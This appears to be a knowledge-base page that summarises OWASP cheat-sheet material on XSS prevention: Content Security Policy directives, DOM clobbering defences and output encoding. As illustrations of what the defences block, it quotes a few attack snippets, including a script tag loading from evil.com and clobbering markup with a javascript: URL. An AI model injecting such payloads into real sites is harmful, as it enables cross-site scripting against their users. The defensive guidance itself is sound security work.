new·The score now tells you which way it movedA brain's exam only ever grows: its own material writes questions, and so does every question a real caller asked and did not get answered. The score is a percentage over that growing set, so a brain that learned more could post a smaller number — and this week three did. One of them answered two MORE questions than the week before and showed eighteen points less. Printed as a single percentage, that reads as decline to a reader and as punishment to anyone who contributes material.all news →
mozg.beta
Sign in

OWASP Cheat Sheets · all subjects

xss prevention controls

98 notes in this subject, read out of this brain and free to use. This is page 1 of 2.

DOM based XSS Prevention Cheat Sheet available

The DOM based XSS Prevention Cheat Sheet is available in the OWASP series with code examples in JavaScript and HTML.

Content Security Policy Cheat Sheet available

The Content Security Policy Cheat Sheet is available in the OWASP series with code examples in JavaScript and HTML.

HTTP Headers Cheat Sheet available

The HTTP Headers Cheat Sheet is available in the OWASP series with code examples in JavaScript, XML, and PHP.

Content-Security-Policy meta tag delivery method

CSP can be specified using an http-equiv meta tag in HTML: <meta http-equiv="Content-Security-Policy" content="...">. This method supports almost all CSP features including XSS defenses but cannot be used with framing protections (frame-ancestors), sandboxing, or CSP violation logging endpoints. Use this method when the Content-Security-Policy header is unavailable, such as when deploying HTML files in a CDN where headers are out of your control.

Do not use deprecated X-Content-Security-Policy or X-WebKit-CSP headers

Do not use X-Content-Security-Policy or X-WebKit-CSP headers. Their implementations are obsolete since Firefox 23 and Chrome 25, are limited, inconsistent, and incredibly buggy.

Strict CSP as current leading practice

Current leading practice is to create a Strict CSP which is much easier to deploy and more secure than granular allow-lists. A strict CSP is created using a limited number of fetch directives along with one of two mechanisms: nonce-based or hash-based. The strict-dynamic directive can optionally be used to make it easier to implement a Strict CSP. Google provides detailed methodological instructions for creating a Strict CSP at https://web.dev/strict-csp/.

Nonce-based Strict CSP implementation

Nonces are unique one-time-use random values generated for each HTTP response and added to the Content-Security-Policy header. Generate a nonce with each response (e.g., const nonce = uuid.v4(); scriptSrc += ` 'nonce-${nonce}'`;) and pass it to your view, then render script tags with the nonce attribute: <script nonce="<%= nonce %>">...</script>. Do not create middleware that replaces all script tags with nonce attributes because attacker-injected scripts will then get the nonces as well; you need an actual HTML templating engine to use nonces.

Hash-based inline script allowance in CSP

When inline scripts are required, use script-src 'hash_algo-hash' to allow only specific scripts to execute. Example: Content-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='. To get the hash, look at Google Chrome developer tools for CSP violation messages that show the required hash. Alternatively, use hash generator tools. Using hashes is risky because changing anything inside the script tag (even whitespace) will change the hash and prevent the script from rendering.

strict-dynamic directive for CSP

The strict-dynamic directive can be used as part of a Strict CSP in combination with either hashes or nonces. If a script block which has either the correct hash or nonce creates additional DOM elements and executes JavaScript inside them, strict-dynamic tells the browser to trust those elements as well without having to explicitly add nonces or hashes for each one. strict-dynamic is a CSP level 3 feature that is very widely supported in common modern browsers.

Nonce-based Strict Policy example

Content-Security-Policy: script-src 'nonce-{RANDOM}' 'strict-dynamic'; object-src 'none'; base-uri 'none';

Hash-based Strict Policy example

Content-Security-Policy: script-src 'sha256-{HASHED_INLINE_SCRIPT}' 'strict-dynamic'; object-src 'none'; base-uri 'none';

Basic non-Strict CSP policy for self-hosted resources

Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self'; This policy assumes all resources are hosted by the same domain, there are no inlines or evals for scripts and styles, there is no need for other websites to frame the website, and there are no form submissions to external websites.

Tighter non-Strict CSP policy

Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self'; This policy allows images, scripts, AJAX, and CSS from the same origin and does not allow any other resources to load (e.g., object, frame, media, etc.).

CSP fetch directives overview

Fetch directives tell the browser the locations to trust and load resources from. Most fetch directives have fallback behavior specified in W3C standards. Key directives include: child-src (nested browsing contexts and worker execution), connect-src (fetch requests, XHR, eventsource, beacon, websockets), font-src (font URLs), img-src (image URLs), manifest-src (application manifests), media-src (video, audio, text track URLs), prefetch-src (prefetch URLs), object-src (plugin URLs), script-src (script execution locations, with script-src-elem for script blocks and script-src-attr for event handlers), style-src (style application with style-src-elem for non-inline and style-src-attr for inline attributes), and default-src (fallback for other fetch directives).

CSP document directives

Document directives instruct the browser about document properties. base-uri specifies possible URLs for the <base> element. plugin-types limits resource types loaded into the document (e.g., application/pdf), requiring explicit type declaration on <embed> and <object> elements where the element type, declared type, and resource type must all match. sandbox restricts page actions such as form submission, applies only with the Content-Security-Policy request header (not Report-Only), and activates all sandbox restrictions if no value is specified (Content-Security-Policy: sandbox;).

CSP navigation directives

Navigation directives instruct the browser about document navigation and embedding locations. form-action restricts URLs where forms can submit. frame-ancestors restricts URLs that can embed the requested resource inside <frame>, <iframe>, <object>, <embed>, or <applet> elements; this directive is ignored if specified in a <meta> tag, does not fallback to default-src, and renders X-Frame-Options obsolete.

CSP reporting directives

Reporting directives deliver violations of prevented behaviors to specified locations and serve no purpose on their own. report-to (CSP Level 3) is the primary current reporting directive and references a group name defined in the Reporting-Endpoints (or legacy Report-To) response header containing a JSON-formatted endpoint list. report-uri is deprecated by CSP Level 3 in favor of report-to and takes a URI that reports are sent to, formatted as: Content-Security-Policy: report-uri https://example.com/csp-reports. For backward compatibility, declare both report-to and report-uri together; browsers supporting report-to will use it and ignore report-uri while older browsers fall back to report-uri.

CSP special directive source values

Special directive source values in CSP: 'none' means no URLs match; 'self' refers to the origin site with the same scheme and port number; 'unsafe-inline' allows usage of inline scripts or styles; 'unsafe-eval' allows usage of eval in scripts.

Prevent all framing with CSP

To prevent all framing of your content, use: Content-Security-Policy: frame-ancestors 'none';

Allow framing only from same origin with CSP

To allow framing only from the site itself, use: Content-Security-Policy: frame-ancestors 'self';

Allow framing from trusted domain with CSP

To allow framing from a trusted domain, use: Content-Security-Policy: frame-ancestors trusted.com;

CSP upgrade-insecure-requests directive for HTTPS migration

When migrating from HTTP to HTTPS, use the upgrade-insecure-requests directive to ensure all requests are sent over HTTPS with no fallback to HTTP: Content-Security-Policy: upgrade-insecure-requests;

Refactoring inline code to comply with CSP

When default-src or script-src* directives are active, CSP disables inline JavaScript code by default. Move inline code to separate JavaScript files. For example, change <script>var foo = "314"</script> to <script src="app.js"></script> with app.js containing the code. Inline event handlers are also blocked, so replace <button id="button1" onclick="doSomething()"></button> with document.getElementById("button1").addEventListener('click', doSomething);

CSP as second layer defense, not standalone XSS protection

A strong CSP provides an effective second layer of protection against various types of vulnerabilities, especially XSS. Although CSP doesn't prevent web applications from containing vulnerabilities, it can make vulnerabilities significantly more difficult to exploit. CSP should not be relied upon as the only defensive mechanism against XSS. You must still follow good development practices such as those described in the Cross-Site Scripting Prevention Cheat Sheet and then deploy CSP on top as a bonus security layer.

CSP defense against XSS via inline scripts restriction

CSP defends against XSS by preventing the page from executing inline scripts, making attacks like injecting <script>document.body.innerHTML='defaced'</script> impossible to execute.

CSP defense against XSS via remote script restriction

CSP defends against XSS by preventing the page from loading scripts from arbitrary servers, making attacks like injecting <script src="https://evil.com/hacked.js"></script> impossible.

CSP defense against XSS via unsafe JavaScript restriction

CSP defends against XSS by preventing the page from executing text-to-JavaScript functions like eval, protecting against vulnerabilities where user parameters are passed to eval functions.

CSP defense against XSS via form submission restriction

CSP defends against XSS by restricting where HTML forms on a website can submit their data, preventing attacks like injecting phishing forms that submit to attacker-controlled servers.

CSP defense against XSS via object tag restriction

CSP defends against XSS by restricting the HTML object tag, preventing attackers from injecting malicious Flash, Java, or other legacy executables on the page.

CSP defense against framing attacks

CSP defends against clickjacking and browser side-channel attacks (xs-leaks) by preventing malicious websites from loading the target website in a frame. The frame-ancestors CSP directive has obsoleted the historical X-Frame-Options header for this purpose.

CSP with Subresource Integrity for static sites

Even on a fully static website that does not accept user input, CSP can be used to enforce the use of Subresource Integrity (SRI). This can help prevent malicious code from being loaded if third-party sites hosting JavaScript files (such as analytics scripts) are compromised.

Content-Security-Policy header delivery method

Send a Content-Security-Policy HTTP response header from the web server. Using a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page. This is a W3C Spec standard header supported by Firefox 23+, Chrome 25+ and Opera 19+.

Content-Security-Policy-Report-Only header for non-blocking policy

Using the Content-Security-Policy-Report-Only header delivers a CSP that is not enforced but still reports violations to the console and to a violation endpoint if the report-to or report-uri directives are used. This is often used as a precursor to utilizing CSP in blocking mode. A site can use both Content-Security-Policy and Content-Security-Policy-Report-Only headers together without issues, such as running a strict Report-Only policy to get violation reports while having a looser enforced policy to avoid breaking functionality.

DOMPurify sanitizer with SANITIZE_DOM configuration

DOMPurify by default removes clobbering collisions with built-in APIs and properties using the enabled-by-default SANITIZE_DOM configuration option. To protect against clobbering of custom variables and properties, enable the SANITIZE_NAMED_PROPS config: var clean = DOMPurify.sanitize(dirty, {SANITIZE_NAMED_PROPS: true}); This isolates the namespace of named properties and JavaScript variables by prefixing them with the 'user-content-' string.

DOM Clobbering definition and attack vector

DOM Clobbering is a type of code-reuse, HTML-only injection attack where attackers inject HTML elements whose id or name attribute matches the name of security-sensitive variables or browser APIs. This attack is particularly relevant when script injection is not possible, such as when filtered by HTML sanitizers, allowing attackers to transform secure markup into executable code and achieve Cross-Site Scripting (XSS).

Named HTML elements create window and document properties

When a webpage is loaded, browsers create properties on window and document objects for any HTML elements that have an id or name attribute. For example, a form element with id=x creates references accessible as document.x, window.x, and x (as a global variable). These named property accesses take precedence over lookups of built-in APIs and other attributes defined by developers.

DOM Clobbering attack example: redirect manipulation

An attacker can inject HTML markup like <a id=redirectTo href='javascript:alert(1)'> to clobber a window.redirectTo variable used in code like let redirectTo = window.redirectTo || '/profile/'; location.assign(redirectTo);, causing the application to execute attacker-controlled JavaScript or redirect to a phishing site.

DOM Clobbering attack example: script source hijacking

An attacker can inject markup like <a id=config><a id=config name=url href='malicious.js'> to clobber window.config in code that does var script = document.createElement('script'); let src = window.config.url || 'script.js'; s.src = src; document.body.appendChild(s);, causing the application to load and execute attacker-controlled JavaScript instead of the legitimate script.

Sanitizer API DOM Clobbering prevention configuration

The browser-built-in Sanitizer API does not prevent DOM Clobbering by default, but can be configured to remove named properties by blocking id and name attributes. Example: const sanitizerInstance = new Sanitizer({blockAttributes: [{'name': 'id', elements: '*'}, {'name': 'name', elements: '*'}]}); containerDOMElement.setHTML(input, {sanitizer: sanitizerInstance});

OWASP recommended HTML sanitizers

OWASP recommends DOMPurify or the Sanitizer API for HTML sanitization to prevent DOM Clobbering.

Content-Security Policy limitations against DOM Clobbering

Content-Security Policy (CSP) can mitigate only some variants of DOM Clobbering attacks, such as when attackers attempt to load new scripts by clobbering script sources via the script-src directive. CSP cannot prevent attacks where already-present code is abused for code execution, such as when clobbering the parameters of code evaluation constructs like eval().

Freeze sensitive DOM objects to prevent clobbering

A simple mitigation for DOM Clobbering against individual objects is to freeze sensitive DOM objects and their properties using Object.freeze() method. This prevents properties from being overwritten by named DOM elements. However, determining all objects and properties that need to be frozen may be difficult, limiting the usefulness of this approach.

Use explicit variable declarations to prevent clobbering

Always use a variable declarator like var, let, or const when initializing variables, which prevents clobbering of the variable. Note that declaring a variable with let does not create a property on window, unlike var, so window.VARNAME can still be clobbered even if VARNAME is declared with let.

Do not use document and window for storing global variables

Avoid using objects like document and window for storing global variables, because they can be easily manipulated and clobbered by injected HTML elements.

Validate and sanitize id and name attributes before DOM insertion

Before inserting any markup into the webpage's DOM tree, sanitize id and name attributes to prevent DOM Clobbering attacks.

Type check document and window properties before use

Always check the type of document and window properties before using them in sensitive operations using the instanceof operator. When an object is clobbered by DOM elements, it would refer to an Element instance, which may not be the expected type.

Use strict mode to prevent DOM Clobbering

Use strict mode to prevent unintended global variable creation and to raise an error when read-only properties are attempted to be overwritten, which can help prevent DOM Clobbering attacks.

Apply browser feature detection to prevent clobbering

Instead of relying on browser-specific features or properties, use feature detection to determine whether a feature is supported before using it. Unsupported feature APIs can act as undefined variables/properties in unsupported browsers, making them clobberable.

Limit variables to local scope to prevent clobbering

Global variables are more prone to being overwritten by DOM Clobbering. Whenever possible, use local variables and object properties instead of global variables.

Use unique variable names in production to prevent collisions

Using unique variable names may help prevent naming collisions that could lead to accidental overwrites through DOM Clobbering.

Use object-oriented programming and encapsulation to prevent clobbering

Encapsulating variables and functions within objects or classes can help prevent them from being overwritten by DOM Clobbering. By making them private, they cannot be accessed from outside the object, making them less prone to clobbering attacks.

Named property visibility algorithm prioritizes DOM elements

Document properties, including built-in ones, are always overshadowed by DOM Clobbering. This is due to the named property visibility algorithm, where named HTML element references come before lookups of built-in APIs and other attributes on document.

Safe Sinks for XSS prevention

Safe sinks treat variables as text and never execute them. Use elem.textContent, elem.insertAdjacentText(), elem.className, elem.setAttribute(safeName, dangerVariable), formfield.value, document.createTextNode(), or elem.innerHTML with DOMPurify.sanitize(). Use .textContent as a safe sink instead of unsafe innerHTML.

HTML Entity Encoding for HTML body contexts

When displaying untrusted data between basic HTML tags like <div> or <b>, use HTML Entity Encoding. Encode these characters: & to &amp;, < to &lt;, > to &gt;, " to &quot;, ' to &#x27;.

HTML Attribute Encoding for HTML attribute contexts

When placing variables into HTML attribute values, use HTML Attribute Encoding. Encode all characters with the HTML Entity &#xHH; format where HH is the hexadecimal Unicode value. All alphanumeric characters (A-Z, a-z, 0-9) remain unencoded. Always surround variables with quotation marks (") or (') to prevent context changes.

JavaScript Encoding for JavaScript contexts

Variables may only be safely placed in JavaScript inside quoted data values, such as <script>alert('$varUnsafe')</script> or <div onmouseover="'$varUnsafe'"></div>. Encode all characters using the \uXXXX Unicode format where XXXX is the hexadecimal code point. All alphanumeric characters (A-Z, a-z, 0-9) remain unencoded. Avoid backslash encoding (\", \', \\). Use EncodeForJavaScript functions from encoding libraries.

CSS Encoding for CSS contexts

Variables should only be placed in CSS property values, not in selectors or other CSS contexts. CSS Hex Encoding supports both \XX (short) and \XXXXXX (full) formats. Add a space after the encoded value which will be ignored by the CSS parser, or use full six-character encoding with zero-padding. For example, A becomes \41 or \000041. All alphanumeric characters (A-Z, a-z, 0-9) remain unencoded.

URL Encoding for URL contexts

When placing variables into URLs as parameters or fragments, use URL Encoding. Encode all characters with the %HH format where HH is the hexadecimal value. When using a URL in an href or src attribute, perform URL encoding first, then HTML attribute encoding. Use window.encodeURIComponent(x) in JavaScript as a safe sink.

JavaScript encoding vs HTML encoding section

The OWASP Cross Site Scripting Prevention Cheat Sheet specifies the Output Encoding section that distinguishes when to use JavaScript encoding (\uXXXX format for JavaScript contexts with quoted data values) versus HTML encoding (&amp;, &lt;, etc. for HTML body contexts). JavaScript and HTML encoding are not interchangeable.

Safe HTML attributes for XSS prevention

Safe HTML attributes that can receive untrusted variable values are: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width. Attributes that accept JavaScript like onClick are NOT safe with untrusted values.

Give your agent this brain